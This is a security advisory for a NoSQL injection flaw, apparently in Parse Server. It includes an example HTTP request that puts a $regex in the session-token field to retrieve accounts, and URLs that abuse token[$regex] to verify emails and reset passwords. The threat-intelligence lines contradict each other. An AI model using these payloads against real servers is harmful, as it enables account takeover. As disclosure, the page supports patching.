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GHSA-h4mf-75hf-67w4

HighCVSS 7.7 / 10
Published Mar 4, 2020·Last modified Mar 13, 2026
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No affected components available

Description
  1. you can fetch all the users' objects, by using regex in the NoSQL query. Using the NoSQL, you can use a regex on sessionToken ("_SessionToken":{"$regex":"r:027f"}} and find valid accounts this way.

Using this method, it's possible to retrieve accounts without interaction from the users.

GET /parse/users/me HTTP/1.1

{
  "_ApplicationId": "appName",
  "_JavaScriptKey": "javascriptkey",
  "_ClientVersion": "js2.10.0",
  "_InstallationId": "ca713ee2-6e60-d023-a8fe-14e1bfb2f300",
  "_SessionToken": {
    "$regex": "r:5"
  }
}

When trying it with an update query the same thing luckily doesn't seem to work: POST /parse/classes/_User/PPNk59jPPZ

  1. There is another similar vulnerability in verify email and the request password reset.

If you sign up with someone else's email address, you can simply use regex in the token param to verify the account: http://localhost:1337/parse/apps/kickbox/verify_email?token[$regex]=a&username=some@email.com

The same thing can be done for reset password: http://localhost:1337/parse/apps/kickbox/request_password_reset?token[$regex]=a&username=some@email.com

You may need to do it a few times with a different letter/number, but as long as the tokens contain the character it will succeed.

Risk Scores
Base Score
7.7

The vulnerability can be exploited over the network without needing physical access. It is difficult for an attacker to exploit this vulnerability and may require special conditions. An attacker needs basic access or low-level privileges. The attacker needs the user to perform some action, like clicking a link. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data.

Threat Intelligence
7.1

Exploitation activity has been observed. Apply available patches or mitigations urgently.

EPSS
0.85%

The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.

Exploit
Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

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